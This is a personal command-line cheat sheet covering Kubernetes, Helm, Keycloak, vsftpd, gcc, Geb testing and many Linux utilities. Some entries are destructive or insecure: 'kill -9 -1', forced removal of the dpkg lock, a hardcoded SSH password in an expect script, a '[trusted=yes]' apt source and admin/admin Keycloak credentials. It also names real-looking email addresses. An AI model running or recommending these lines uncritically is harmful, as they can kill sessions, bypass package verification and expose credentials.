# Due to CoreDNS, can use the service name.
env:
-name: AUTH_ADDRESS
value: "auth-service.MY_NAMESPACE" # // ".default"
# Docker Kubernetes - Networking. Frontend Example.
# Sample frontend:
frontend:
container_name: frontend
build: ./frontend
image: "poti1/kub-demo-frontend"
depends_on:
- users
- tasks-service
- auth
stdin_open: true
tty: true
ports:
- "3000:80"
#############################################################
## Docker Kubernetes - Namespaces
#############################################################
# Docker Kubernetes - Namespaces
# Check namespaces.
kubectl get namespaces
# Docker Kubernetes - Namespaces
# Create a new namespace
apiVersion: v1
kind: Namespace
metadata:
name: iam-ns
labels:
name: keycloak
# Docker Kubernetes - Namespaces
# View all relevant pods:
kubectl get pods --namespace iam-ns
# Docker Kubernetes - Namespaces
# Check the logs for errors:
kubectl logs --namespace iam-ns pods/keycloak-deployment-PRESS_TAB
# View metrics (kubectl).
minikube addons enable metrics-server
k run myapp --image nginx
k top node
k top pod
#############################################################
## Docker Kubernetes - Roles
#############################################################
# Docker Kubernetes - Roles
# Check for permissions.
auth can-i delete nodes --as dev-user # no
k auth can-i delete nodes # yes
#############################################################
## DOM
#############################################################
# DOM - Update the text of an iframe.
document.querySelector('iframe').contentDocument.querySelector('body').innerText += '\n' + text;
# DOM - Get the html content of an iframe.
document.querySelector('iframe').contentDocument.querySelector('body').innerHTML;
#
# Perl
$Selenium->switch_to_frame(
$Selenium->find('//iframe')
)
my $HTML = $Selenium->find('//body')->get_attribute('innerHTML');
$Selenium->switch_to_frame()
## E
#############################################################
## FontForge
#############################################################
# FontForge program can update a .ttf file pixmap
#############################################################
## FTP Server/Client
#############################################################
# Create an ftp server on ubuntu.
https://linuxconfig.org/how-to-setup-and-use-ftp-server-in-ubuntu-linux
# 1. Install
sudo apt install vsftpd
#
# 2. backup original /etc/vsftpd.conf
#
# 3. Update /etc/vsftpd.conf
write_enable=YES # Dont forget THIS!
local_root=/home/$USER # Not needed? Works when commented out.
local_umask=002
chroot_local_user=YES
pasv_enable=Yes
pasv_min_port=10000
pasv_max_port=10100
allow_writeable_chroot=YES
#
# 4. Allow ftp through firewall.
#
# 5. Restart ftp daemon.
sudo systemctl restart vsftpd
#
# 6. Create a dedicated ftp user account.
sudo useradd -m ftpuser
sudo passwd ftpuser
#
# 7. Append group to current user
sudo usermod -a -G ftpuser $USER
#
# 8. Apply new group.
sudo su $USER
# Test ftp client on ubuntu.
sudo apt install ftp
ftp
ftp> ftp
192.168.178.48
#
# Not sure about this:
ftp://127.0.0.1/test.html
# Check firewall rules (ubuntu).
sudo ufw status verbose
# Enable firewall (ubuntu).
sudo ufw enable
# A severe vulnerability was published which allows execution of code
# on Linux Systems and Mac OS X systems via network.
# It is rated with a severity of 9.9 out of 10.
# Block port 631 UDP via firewall settings or deinstall cups if not needed.
sudo ufw deny 631/udp
# Allow ftp through firewall.
sudo ufw allow from any to any port 20,21,10000:10100 proto tcp
# Monitor file transfer activity.
sudo tail -f /var/log/vsftpd.log
#############################################################
## GCC
#############################################################
# Compile a c program (-g is for debugging, -o is for a new name)
gcc -g main.c -o new_name
# Compile a c++ program (-g is for debugging, -l is to include a library, -o is for a new name)
gcc -g cnt.cpp -l stdc++ -o cnt.exe
$ gcc documentation manual page
sudo apt-get install gcc-doc
# View Symbol table of C object file ".o" (OMS)
# Can also do it from an executable file
gcc -c mangle.c
nm mangle.o
nm mangle
# Specify output file with -o
gcc -o out
# Specify libraries ('-la' means there is a "a.a" or "a.so" file in "path")
gcc -o out 1.o 2.o -la -lb -c -Lpath
# Speficify header path with -Ipath
# only compile the source code. Need to link after.
gcc -c 1.c -Ipath
# View compiler optimizations
#
# Summary of each
gcc --help=optimizers
#
# Status of each optimization (enabled or disabled)
gcc -Q --help=optimizers
# Print search paths of gcc (gnu make,c programming)
# Default for "-L"
gcc -print-search-dirs
# Create shared library (.so)
gcc -Wall -fPIC -c *.c
gcc -shared -Wl,-soname,libctest.so.1 -o libctest.so.1.0 *.o
# Definition: (c programming,gcc)
# -fexceptions
# Enable exception handling. Generates extra code needed to propagate exceptions. For some targets,
# this implies GCC will generate frame unwind information for all functions, which can produce
# significant data size overhead, although it does not affect execution. If you do not specify this
# option, GCC will enable it by default for languages like C++ which normally require exception
# handling, and disable it for languages like C that do not normally require it. However, you may need
# to enable this option when compiling C code that needs to interoperate properly with exception
# handlers written in C++. You may also wish to disable this option if you are compiling older C++
# programs that don't use exception handling.
# -l library (gcc option,flag,order)
# Search the library named library when linking.
#
# "
# It makes a difference where in the command you write this option;
# the linker searches and processes libraries and object files in the order they are specified.
# Thus, foo.o -lz bar.o
# searches library z after file foo.o but before bar.o.
# If bar.o refers to functions in z, those functions may not be loaded.
# "
#
# Think: at this point what is needed?
# If its not needed by now it wont be loaded in (although it may be available)
# Problem: Seeing these errors
# undefined reference to ...
#
# Solution: Change order of libraries
#############################################################
## GDX
#############################################################
# Install gdx on termux.
pkg install ecj dx
cd ~/git
git clone https://github.com/ravener/libgdx-termux
cd libgdx-termux/
./fetch.sh
#############################################################
## Geb - General
#############################################################
# Geb manual
https://gebish.org/manual/current/
# Setup Geb (stuck)
#
# Go here
https://search.maven.org/
#
# Search and download these:
org.gebish:geb-core
org.seleniumhq.selenium:selenium-chrome-driver
org.seleniumhq.selenium:selenium-support
#
# Setup Geb (from repo,starting out)
cd D:\my\setup\geb\sample
git clone https://github.com/geb/geb-example-gradle
cd geb-example-gradle
gradlew chromeTest
#
# Install pip
D:\my\setup\pip\get-pip.py
#
# Install selenium
pip install selenium
# Using Python and Selenium (Geb)
#
cd D:\my\setup\geb\chromedriver_win32
ls
chromedriver.exe
sample.py
#
cat sample
import time
from selenium import webdriver
driver = webdriver.Chrome(r'D:\my\setup\geb\chromedriver_win32\chromedriver.exe') # Optional argument, if not specified will search path.
driver.get('http://www.google.com/');
time.sleep(5) # Let the user actually see something!
search_box = driver.find_element_by_name('q')
search_box.send_keys('ChromeDriver')
search_box.submit()
time.sleep(5) # Let the user actually see something!
driver.quit()
# Cannot click on a element when Geb Testing:
# Use this approach:
js.exec(0, "document.querySelectorAll('.rowlink')[arguments[0]].click();");
# Pause a Geb test (Groovy,Geb,Spock)
pause()
#
# Unpause by running this in the controled console:
geb.unpause = true
# Waiting in Geb tasting (Groovy,Geb,Spock,sleep,wait)
waitFor(3){} // 3 seconds
waitFor{} // some default time
Thread.sleep(3000) // 3 seconds
# Skip a test/function in Geb (Groovy,Geb,Spock)
import spock.lang.Ignore
@Ignore
def abc(){ }
# Run a single test with gradle in Geb (Groovy,Geb,Spock)
gradlew chromeTest -DchromeTest.single=My*
# Having given,when,and,then (Groovy,Geb,Spock)
# distinquish a regular function from a test function.
# Get the current url of the webpage (Groovy,Geb,Spock)
driver.currentUrl
getCurrentUrl()
# Another way to access elements that (Groovy,Geb,Spock)
# may return this error: StaleElementReferenceException
println(js.('document.title'))
println(js.('document.querySelector(".title").innerText'))
println(js.('document.querySelector("nav > a.active").innerText'))
return js.('document.querySelector(".title").innerText') =~ /NotSmart/
# Global debug variable (NotSmart Testing,Groovy,Geb,Spock)
# Ugly for now until a better way is found.
class Debug extends Module {
def debug = 0
}
//
if( (module(Debug)).debug ){
Thread.sleep(1000)
}
# Print to STDOUT (NotSmart Testing,Groovy,Geb,Spock)
println("var is $var")
// Maximize the chrome window (NotSmart Testing,Groovy,Geb,Spock)
def setupSpec() {
driver.manage().window().maximize()
}
# IntelliJ IDEA support for Gen Testing.
# - Download latest IDEA IDE (community edition)
https://confluence.jetbrains.com/display/IDEADEV/IDEA+2020.1+latest+builds
# - Update gradle/wrapper/gradle-wrapper.properties to use: gradle-6.5-bin.zip
# - Update IDEA settings
# - File -> Settings -> search: gradle
# View stack trace (not perfect since feature name is not shown)
// def getCurrentMethodName(){
//
// def marker = new Throwable()
//
// StackTraceUtils.sanitize(marker).stackTrace.eachWithIndex { e, i ->
// println "> $i ${e.toString().padRight(30)} ${e.methodName}"
// }
//
// // org.codehaus.groovy.runtime.StackTraceUtils.sanitize(new Exception()).printStackTrace()
//
// // def marker = new Throwable()
// // return StackTraceUtils.sanitize(marker).stackTrace[1].methodName
// }
#############################################################
## Golang
#############################################################
# Download go tour webpages locally.
go install golang.org/x/website/tour@latest
#############################################################
## Gradle
#############################################################
# Installing Grade (download,setup)
#
# Install a JDK:
https://www.oracle.com/java/technologies/javase-jdk14-downloads.html
#
# Setup Environment:
JAVA_HOME C:\Program Files\Java\jdk-14.0.1
JAVA_BIN C:\Program Files\Java\jdk-14.0.1\bin
JAVA_LIB C:\Program Files\Java\jdk-14.0.1\lib
#
# Install Gradle (Optional)
https://docs.gradle.org/current/userguide/installation.html
#
# Unzip and copy gradle-6.5 to:
cd C:\Gradle
#
# Setup Environment:
PATH_UNIX += C:\Gradle\gradle-6.5
GRADLE_HOME C:\Gradle\gradle-6.5
#
# Check that its setup:
gradle -v
#
# Sample build.gradle
task hello {
doLast {
println 'hello Gradle'
}
}
#
# Run using this command:
gradle hello
gradle -q hello
# Easiest way to setup Geb Testing with Gradle is to find a sample example.
geb-gradle-example-master
#############################################################
## Groovy
#############################################################
# Try groovy commands on the command line
groovysh
# Groovy replace all newlines and spaces with a single space
def text = $(query).eq(index).text().replaceAll(/\s+/, ' ')
# Groovy string to float
Float.parseFloat(string)
# Truthy-OR operator in Groovy (like defined-OR)
return Float.parseFloat(old ?: '0.0')
#
# Like this in perl:
$old || '0.0'
# Defined-OR operator in Groovy (like defined-OR)
num ?= 0
#
# Like this in perl:
$old //= '0.0'
# Mimic keyboard input (Groovy,Geb Testing)
$("[name='${name}']") << value.toString()
# Groovy split, map, join
groovy -e "def ids = 'id1, id2'; println(ids.split(/,\s*/).collect({ return '#$it' }).join(', '))"
#
# Same thing in perl
perl -le "$ids = 'id1, id2'; print join ', ', map {qq(#$_)} split(/,\s*/, $ids)"
## H
#############################################################
## IAM - Helm
#############################################################
# IAM - Helm simple guide.
https://helm.sh/docs/intro/quickstart/
# IAM - Helm simple example - Add chart repo.
helm repo list # Empty originally
helm repo add bitnami https://charts.bitnami.com/bitnami
# IAM - Helm simple example - Search for charts.
helm search repo bitnami/word
# IAM - Helm simple example - Install a chart.
helm repo update # Make sure we get the latest list of charts
helm install bitnami/mysql --generate-name
kubectl get pods -w # New pods should be started now.
# IAM - Helm simple example - Check whats released for a namespace
helm list
helm status <TAB>
# IAM - Helm simple example - Uninstall a release.
helm uninstall <TAB>
# IAM - Helm simple example - Rollback to a specific version
helm rollback <TAB> 1
# IAM - Helm simple example - Check history
helm history <TAB>
# IAM - Helm simple example - Get more details about a chart/release.
helm get all <TAB>
helm show all bitnami/mysql
# IAM - Helm simple example - Create a new chart folder
helm create iam
# IAM - Helm simple example - Create a new chart archive
helm package iam/
helm package iam/ --version 1.2.3 # Otherwise takes from Chart.yaml
# IAM - Helm simple example - Install own chart.
helm install iam iam<TAB>
helm install iam iam<TAB> --namespace iam-ns --create-namespace
# IAM - Check the contents of an existing chart.
helm search repo keycloak
helm pull --untar bitnami/keycloak
#############################################################
## IAM - Ingress
#############################################################
# IAM - Ingress is similar to:
minikube service my-service
#
# except it is a generic solution which works also outside of minikube.
# IAM - Ingress enable.
minikube addons list | grep ingress
minikube addons enable ingress
# IAM - Ingress simple guide:
https://kubernetes.io/docs/tasks/access-application-cluster/ingress-minikube/
# Need to also update /etc/hosts
# IAM - Ingress example resource file:
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: keycloak-ingress-service
namespace: iam-ns
labels:
app: keycloak
spec:
rules:
- host: hello-world.info # Ask krikkit for correct name!
http:
paths:
- path: / # Redirects requests back to self
pathType: Prefix
backend:
service:
name: keycloak-service # To this existing service
port:
number: 8080 # and port
#############################################################
## Journalctl
#############################################################
# Examples of journalctl commands.
journalctl _PID=1 # From a precific PID.
journalctl -S -4h # Since last 4 hours.
journalctl -S 22:00:00 # Since a sprecific time.
journalctl -S 2022-02-10 # Since a specific date.
journalctl -S '2022-02-10 22:00:00' # Since a specific date and time.
journalctl -U 22:00:00 # Until a specific time.
journalctl -u cron[.service] # Search by unit type.
journalctl -F _SYSTEMD_UNIT # List all units found in the logs.
journalctl -N # List all fields.
journalctl -g 'gas.*' # Grep through the logs.
journalctl -b # Start to end of current boot.
journalctl -b -1 # Start to end of last boot.
journalctl -b -r # Start to end of current boot in reverse.
journalctl --list-boots # List boots by IDs.
journalctl -k # Display kernel messages.
journalctl -f # Like tail -f.
#############################################################
## JP2A
#############################################################
# png to ascii converter (linux,ascii,art)
sudo apt install jp2a
jp2a --colors programmer_icon.png
#############################################################
## Kate Editor
#############################################################
# Kate editor shortcuts
F6 - Left margin
F9 - Right margin (code folding)
F11 - Line numbers
#############################################################
## Kubeseal
#############################################################
# Kubeseal handles passwords - Simple use case.
# Creates a yaml manifest file that can be used publicly.
# without sharing the real password.
echo -n bar | kubectl create secret generic mysecret --dry-run=client --from-file=foo=/dev/stdin -o yaml > mysecret.yaml
# Seal a kubernetes manifest file.
# This service needs to be running:
kubectl get service sealed-secrets-controller -n kube-system
#
# Run this to seal:
cat mysecret.yaml | kubeseal --format=yaml --namespace iam --controller-namespace kube-system --controller-name sealed-secrets-controller > my-sealed-secret.yaml
#############################################################
## Keycloak
#############################################################
# Keycloak links
admin: http://localhost:8080/admin
realm: http://localhost:8080/realms/myrealm/account
# Keycloak simple example.
https://www.keycloak.org/getting-started/getting-started-docker
#
# Get the latest image:
docker pull quay.io/keycloak/keycloak:latest
#
# Can see that its using kc.sh as the entrypoint:
docker inspect quay.io/keycloak/keycloak:latest
#
# View the help page:
docker run quay.io/keycloak/keycloak:latest -h
#
# Start a simple development server:
docker run --rm -p 8080:8080 -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:latest start-dev
#
# Go to http://localhost:8080/
#############################################################
# Linux Terminal
#############################################################
# Search through linux terminal history
Control + r
#############################################################
## Linux Commands - apt-cache
#############################################################
# Search for available apt-get modules/libraries/package
apt-cache search perl
# View more info of packages to be installed
sudo apt-cache show perl
# Show module/library dependancies
apt-cache depends perl
#############################################################
## Linux Commands - apt-get
#############################################################
# Install a package
apt-get install perl
# Upgrade all packages
apt-get update
apt-get upgrade
# Remove a system package
sudo apt-get remove <package>
# Remove a system package along with its dependencies
sudo apt-get remove --auto-remove <package>
# Remove a system package along with its configuration
sudo apt-get purge <package>
# Remove a system package along with its dependencies and configuration
sudo apt-get purge --auto-remove <package>
# Add packages to apt-get install list
apt edit-sources # similar to: vi /etc/apt/sources.list
deb [trusted=yes] http://ftp2.de.debian.org/debian/ stable main contrib
apt-get update
# Apt update has many 404 errors.
# Fix with:
sudo apt dist-upgrade.
#############################################################
## Linux Commands - apt-key
#############################################################
# Add the key of a package site to allow installing from other sources
wget -q http://opensource.wandisco.com/wandisco-debian.gpg -O- | sudo apt-key add -
#############################################################
## Linux Commands - apt-list
#############################################################
# List trusted source lists for packages
sudo apt-key list
#############################################################
## Linux Commands - arp
#############################################################
# View all IP addresses (Debug,pi)
# Scan network
arp -a
netstat -a | findstr 172.17
# Remove arp -a cache (pi,debug)
netsh interface ip delete arpcache
#############################################################
## Linux Commands - awk
#############################################################
# Get the first line, second field (read file)
sui -u | grep "abc" | awk 'NR==1 {print $2}'
#############################################################
## Linux Commands - basename
#############################################################
# Get the basename or last file/directory of a string
basename <string>
#############################################################
## Linux Commands - cat
#############################################################
# Add line numbers to a file
cat -n <file>
# Skip the first line on the file
cat file | tail -n +2
#############################################################
## Linux Commands - chmod
#############################################################
# Set suid for a file
sudo chmod +s file
# Change permission of only the group
chmod g+w file
#############################################################
## Linux Commands - chown
#############################################################
# Fix ownership of user directory
cd home_dir/user_dir
sudo chown -Rh ${PWD##*/} `ls -A`
#############################################################
## Linux Commands - cmatrix
#############################################################
# See the matrix
cmatrix
#############################################################
## Linux Commands - cp
#############################################################
# Update all files that are less than 70 days old according to a file
# (Modified cp command)
cp -s --no-preserve=ownership $FILE `find $DIR/*/$FILE -ctime -70`
# Create a hardlinked folder.
cp -al A B
#############################################################
## Linux Commands - crontab
#############################################################
# Add new crontab
crontab -e
# Start running cron tab
crontab <cron_file>
# View all crontabs on a bench
ls /var/spool/cron/crontabs
# Schedulers
crontab
cron
at
# Crontab job in interactive mode
* * * * * DISPLAY=localhost:11.0 xterm -e 'read -p "aaa - 3"'
# crontab job sent to any particular IP address
* * * * * DISPLAY=1.1.1.1:0 xterm -e 'read -p "aaa - 3"'
# Run a task according to a step amount (say every 5 minutes, crontab)
# min hr dom mon dow command
/5 * * * * my_command
# Run crontab at 3am and 3pm (task)
# min hr dom mon dow command
* 3,15 * * * my_command
#############################################################
## Linux Commands - curl
#############################################################
# View the heading of a server response
curl --head www.google.com
# Check if website/URL is up (Jira,ping)
curl -s --head http://localhost:8081/secure/Dashboard.jspa | head -1
# Download files using curl and validate the checksum:
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl-convert"
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl-convert.sha256"
echo "$(cat kubectl-convert.sha256) kubectl-convert" | sha256sum --check
#
# Install the new command.
sudo install -o root -g root -m 0755 kubectl-convert /usr/local/bin/kubectl-convert
#############################################################
## Linux Commands - cut
#############################################################
# Show so many character and everything after on a line
echo "1 2 3 5-d 4" | cut -c5-
#############################################################
## Linux Commands - date
#############################################################
# Format for date timestamps in scripts (primitive)
date "+%Y-%m-%d_%H:%M:%S"
# Convert epoch seconds to absolute time (@ means UNIX timestamp)
perl -le 'print ~~ localtime 1484048121'
date -d @1484048121
date -r 1484048121 # Mac
# Date is taken from a variable/string
tool_log_file=`date --date="@$START_DATE" "+%YY_%mm_%dd_%HH_%MM_%SS"`
#############################################################
## Linux Commands - declare, typeset
#############################################################
# List function declarations/names in bash
declare -F
typeset -F
# List function definitions in bash
declare -f
typeset -f
# Show all bash array declarations
declare -a
# Show select bash array declaration
declare -p a
# Create an associative array/hash in bash
# (Make sure NOT to use empty or undef keys!)
declare -A h
# View an associative array/hash in bash
declare -p h
#############################################################
## Linux Commands - df
#############################################################
# See how much disk space is left on the device
df -h /tmp
#############################################################
## Linux Commands - diff, sdiff, patch
#############################################################
# Do a file comparison while showing the context (copy)
diff -c file1 file2
# Do a file comparison while showing the context (unified)
diff -u file1 file2
# Do a difference on variables (not just files)
diff -u <(echo "a") <(echo "b")
# Create a patch file
diff -rupN src2 src > test.patch
# Compare folders
diff -ruN src_sean_latest/ src > diff
# Side by side difference
sdiff file1 file2
# Apply a patch file (-p1 ignore first later)
patch -p1 < ../test.patch
# Fix: "sh: -c: line 0: syntax error near unexpected token `('"
system qq(/bin/bash -c "diff -u <(echo a) <(echo b)");
system qq(/bin/bash -c "diff -u <(echo \\"a a2 a3\\") <(echo \\"b b2 b3\\")");
#############################################################
## Linux Commands - dos2unix
#############################################################
# Fix files endings of all files in folder (recursive)
find . -type f -print0 | xargs -0 dos2unix
# Convert newlines to unix format (trim off carriage returns, like dos2unix)
perl -lpe 'BEGIN{$n=chr 13; $r=qr/$n$/} s/$r//'
#############################################################
## Linux Commands - dpkg
#############################################################
# Print dpkg architecture (DES,machine)
# When installing packages.
dpkg --print-architecture
# Print allowed foreign architectures (DES,machine)
# When installing packages.
dpkg --print-foreign-architectures
# Error - Could not get lock /var/lib/dpkg/lock (admin)
sudo kill -9 $(sudo lsof | grep /var/lib/dpkg/lock | awk '{print $2}')
sudo dpkg --configure -a
# dpkg: error: dpkg status database is locked by another process (DES,bench)
sudo rm -f /var/lib/dpkg/lock
# Install a package from a file
sudo dpkg -i my.deb
# View packages installed on the system
dpkg -l
# Check if a package is installed on a system
dpkg -l | grep kate
# Check installion location of a package
dpkg -L <package>
# Add architecture to the list of architectures for which (DES)
# packages can be installed without using --force-architecture
dpkg --add-architecture i386
# Check if a package is on hold (no updates)
dpkg --get-selections apksigner
apt-mark showhold
# Remove packages marked with rc:
dpkg -l | \grep '^rc' | nth 1 | xargs sudo dpkg --purge
#############################################################
## Linux Commands - dmesg
#############################################################
# View kernel messages
dmesg
#############################################################
## Linux Commands - du
#############################################################
# Get top 20 people using too much disk space
du -ms /* | sort -nr | head -n 20
# Find how much space each locked user is using
a=`sudo passwd -Sa | AND -r "\bL$" | get_nth 0 | while read u; do ls -d1 /net/home*/$u; done 2>/dev/null | col_2_row`
b=`sudo du -scm `echo $a` | sort -nr`
echo "$b" | perl -ple '($u)=m{/([^/]+)$} or ($_=sprintf "%-30s %s", $_,"Password Status (L - Locked)") and next; ($s)=(split " ",`sudo passwd -S $u`)[-1]; chomp $s; $_ = sprintf "%-30s %s", $_, $s'
# Find how much space each locked user is using (compact)
sudo passwd -Sa | AND "\bL$" | perl -aple '$d=qx{sudo du -sm /net/home*/$F[0]}; $d = $? ? "NO HOME DIR" : (chomp $d,$d); $_ = "$d - $_"'
#############################################################
## Linux Commands - eval
#############################################################
# Variable name is stored in another variable
n1=abc
abc=blue
abc2=green
eval var=\$$n1
echo $var
n1=abc2
eval var=\$$n1
echo $var
# Expand $HOME variable (dollar,bash)
file='$HOME/my_path'
"`eval echo $file`"
# Expand uicfg $HOME variables
cat $HOME/uicfg | while read line; do echo `eval echo $line`; done
#############################################################
## Linux Commands - expect
#############################################################
# Run a command where user input is required (script,auto,password)
expect -c 'spawn ssh SOME_USER@irkdes "date"; expect "password:"; send "asdf1234\r"; interact'
# Expect quirks (scipt,auto,password)
# This will NOT work
echo "SOME_USER" | while read n; do expect ... ; done
# This DOES work
for n in "SOME_USER"; do expect ... ; done
# Suppress output (scipt,auto,password)
# Some output
expect -c 'spawn -noecho ... '
# All output
expect -c 'log_user 0; spawn ... ' # Restore with "log_user 1"
#############################################################
## Linux Commands - find
#############################################################
# Find every file where a name is used (starting from pwd location)
find . * | perl -ne 'print unless /^\./' | perl -lne 'print if -f' | xargs perl -lne 'print $ARGV if /start.txt/'
# Find all files but do not look in certain directories
find $source -not \( -path '*.svn' -prune -or -path '*.git' -prune \) > $all_files
# Find specific files but return directories
find . -name "*.h" -printf '%h\n'
find . -name "*.h" -exec dirname {} ';'
find . -name "*.h" -exec dirname {} \;
# Change permissions of all files / folders.
find . -type f -exec chmod 664 {} ';'
find . -type d -exec chmod 775 {} ';'
# Using a variable to define the find string.
n="-name *.pm"; find . $n # Works.
n="-name '*.pm'"; find . $n # Looks correct, but does NOT work!
# Find all git directories from current location
find . -name .git -type d | xargs -I{} readlink -f {} | perl -ple 's#^/\w+##; s#/\.git$##'
# Find all files owned by a certain user
sudo find . -user xbe4092
sudo find . -maxdepth 3 -user xbe4092
# Find all files which are more than 100 days old (since they were accessed)
find $DIR -name "*.txt*" -atime +100
ll `find $DIR -name "*.txt*" -atime +100`
# Find all files which are more than 100 days old and deletes them
sudo find $DIR -name "*.txt*" -atime +100 -delete
# Search for multiple files patterns
find $DIR -name "*.glo*" -o -name "*name*"
# Find all files in current location
# but do not go into certain folders (omit, exclude)
find . -not \( -path '*.svn' -prune \)
# Find and perform an action (1,semicolon)
find $DIR -exec echo Arg: {} ';'
# Find and perform an action (2,plus)
find $DIR -exec echo Arg: {} '+'
# Find all empty folders (directory)
find . -type d -empty
# Delete all files using "find"
find dir/ -exec rm -f{} + # real 0m7.810s 0m26.089s 0m28.655s
find dir/ -delete # real 0m27.124s 0m40.121s
find dir -type f -print0 | xargs -0 -P13 -n100000 rm # real 38m5.886s
# Find all the hard links to a file (path)
find . -samefile otrs/.vimrc
# Find and delete files smaller than 100M.
find MY_PATH -name '*.mp3' -size -100M -delete
#############################################################
## Linux Commands - free
#############################################################
# Check swap memory usage (Linux Commands - free)
free -h
top
htop
#############################################################
## Linux Commands - fuser
#############################################################
# Find which process has a file open
fuser - identify processes using files or sockets
#############################################################
## Linux Commands - getconf
#############################################################
# Show/See/Displays all configuration variables
getconf -a
#############################################################
## Linux Commands - grep
#############################################################
# Find what is setting the sticky bit to /tmp folder upon machine reboot
grep -r chmod /etc/* 2>/dev/null | NOT "chmod (?:0?(?:-[f]\s+)?\d{3}|[aguo]*[+-][rwxs]+)\b" '^Binary' | add_color chmod
grep -r '/tmp' /etc/* 2>/dev/null | NOT '^Binary' | add_color tmp
# Return matching file name only
grep --color "trace config off" * -l
# Return nonmatching file name only
grep --color "trace config off" * -L
# Find what is common in both files (difference)
fgrep -Ff a b
grep -f a b
perl -e '@s{`cat a`}=(); exists $s{$_} and print for `cat b`'
# Find what is in second but not in first file (difference)
fgrep -v -Ff a b
grep -vf a b
perl -e '@s{`cat a`}=(); exists $s{$_} or print for `cat b`'
# Using grep for a OR like selection
cat file | grep -e this -e that -e those
# Change grep --color
export GREP_COLOR="32" # green
echo "AabcC" | grep --color abc
export GREP_COLOR="32;4" # green, underlined
echo "AabcC" | grep --color abc
#############################################################
## Linux Commands - groupadd
#############################################################
# Create new user group
groupadd
#############################################################
## Linux Commands - gzip
#############################################################
# Check file size of a gzip ubin file
# Shows compressed uncompressed ratio uncompressed_name
gzip -l my.ubin2.gz
#############################################################
## Linux Commands - hdparm
#############################################################
# Disable write_cacheh on Ubuntu/Linux.
vi /etc/hdparm.conf
# Uncomment "write_cache"
# Check write_cacheh on Ubuntu/Linux.
sudo hdparm -W -i /dev/sda
#############################################################
## Linux Commands - history
#############################################################
# Add more details to history command
export HISTTIMEFORMAT="%d/%m/%y %T "
export HISTTIMEFORMAT="%c %Z "
history | AND SoftBatch mv | NOT AND
# Clear history
history -c
# View all log in and log out history (need amin)
sudo vi /var/log/auth.log
#############################################################
## Linux Commands - id
#############################################################
# Show the user number on the bench (logged in)
id -u
#############################################################
## Linux Commands - ipcs
#############################################################
# View the details of a message queue (debug)
ipcs -q -i 101974057 # Send/receive time for an ID
ipcs -q -t # Send/receive time for all
# Find out more info about a shared memory segment
ipcs -m -i 1620836354
# Delete shared memory segment
ipcrm shm 1620836354
# Show creator and last process for all the shared memory
ipcs -mp
# Show creator and last process for a pasticular shared memory (shmid)
ipcs -mp -i 1620836354
ipcs -m -i 1620836354
# Find all shared memory processes that are still running (found in ps)
# Upon cleanup of last process, items in ipcx marked "dest"
# will be removed
ps -elf | grep -v grep | egrep "`ipcs -mp | AND '\d+' | get_nth -2 -1 | row_2_col | sort -u | transpose | replace ' ' '|'`"
# Attaches the shared memory segment identified by shmid to the address space of the calling process (IPC)
man shmat
# example from rtfsched.c:
# if ((pb = (RTFSCHED_SDEF *)shmat(shmid, 0, 0)) == (RTFSCHED_SDEF *)-1)
# Allocates a shared memory segment (IPC)
man shmget
# example from rtfsched.c:
# if ((shmid = shmget(key, sizeof(RTFSCHED_SDEF), 0666|create)) == -1)
# Fix UI start up error: Waiting for master session to start
ipcx
ipcclean
#############################################################
## Linux Commands - kill, killall, skill
#############################################################
# kills all possible processes
kill -9 -1
# Kill all of someones processes
skill -KILL -u xbe4092
killall -u xbe4092
# Remove myself from someone's bench (kill)
killall -u $USER
# Kill all user sessions/windows (cleanup)
skill -KILL <user>
#############################################################
## Linux Commands - last, lastlog
#############################################################
# Display all users that are logged in
last
last -i # IP address
# View all last login times for all users
lastlog
lastlog | NOT "Never logged" | AND "Jan\s+(9|10)"
# View last login for a user
last xbe4092
#############################################################
## Linux Commands - ld
#############################################################
# Check if library can be found (gnu make)
ld -libmy.a
#############################################################
## Linux Commands - ldd, ldconfig
#############################################################
# Print shared library dependancies (Added: 2017-10-04 02:02:51 PM)
ldd `which svn`
# configure dynamic library linker run-time bindings (Added: 2017-10-04 02:11:12 PM)
ldconfig -v
# Search locations of system libraries (DES, Setup new machine)
ldconfig -p | grep my_lib
#############################################################
## Linux Commands - libreoffice
#############################################################
# Convert excel to csv on the command line.
# https://help.libreoffice.org/latest/en-GB/text/shared/guide/csv_params.html
# 76 - UTF-8 encoding.
# 44 - Comma.
# 34 - Double quote.
my $csv_format = qq(csv:"Text - txt - csv (StarCalc)":44,34,76);
my $command = qq(libreoffice --headless --convert-to $csv_format $excel_file);
system $command;
die if $?;
#############################################################
## Linux Commands - locate
#############################################################
# Search for a c header file (DES)
sudo updatedb # If added from apt-get
locate my_header
#############################################################
## Linux Commands - ls, ll
#############################################################
# Apply a character class to list (ls files)
ll *2[1-3]
#############################################################
## Linux Commands - mail
#############################################################
# Email the contents of a file to someone
echo $(cat mail.dat) | mail -s "File Name" timofey.potapov@pw.utc.com
# Print fixed width (monospace) emails
cat batch_report.formatted | perl -le 'print "<html><body><pre>\n", <>, "\n</pre></body></html>"' | mail -s "html report -a " -a "Content-Type: text/html" timofey.potapov@pw.utc.com
# Send email with a file as an attachment
cat ENV_linux.txt | mail -s "attachement" -a "Content-Type: html" timofey.potapov@pw.utc.com
# Send mail from another bench
ssh potapov@lnxbr25 'cat ~/bin/date.dat | mail -s "subject" timofey.potapov@pw.utc.com'
# Find out which benches can send emails
run_on_all_benches.p 'echo "on bench `uname -n`" | mail -s "`uname -n`" melvin.williams@pw.utc.com'
# View emails on bench
mail
# Delete single email of yours on bench
mail
>> d
# Delete all your emails on bench
mail
>> d*
#############################################################
## Linux Commands - man
#############################################################
# Show the location of all man page (manual/pod)
man --where --all date
# read a specific man page when there are many with the same name (Added: 2017-11-02 09:04:16 AM)
man -k readlink
man 2 readlink
#############################################################
## Linux Commands - mktemp
#############################################################
# Create a randomly named temp file.
mktemp
mktemp --suffix=.go
#############################################################
## Linux Commands - mountpoint
#############################################################
# Check if a directory is mounted
mountpoint /media/tim/OTRS_BACKUP/ -q && echo "mounted"
#############################################################
## Linux Commands - netstat
#############################################################
# Display a table of all network interfaces
netstat -i
# Display summary statistics for each protocol
netstat -s
# View all network traffic for OMS
netstat -anpe | grep oms
# View routing table (Debug,pi,IP addresses)
netstat -r
netstat -rn # No DNS lookup
#############################################################
## Linux Commands - nmon
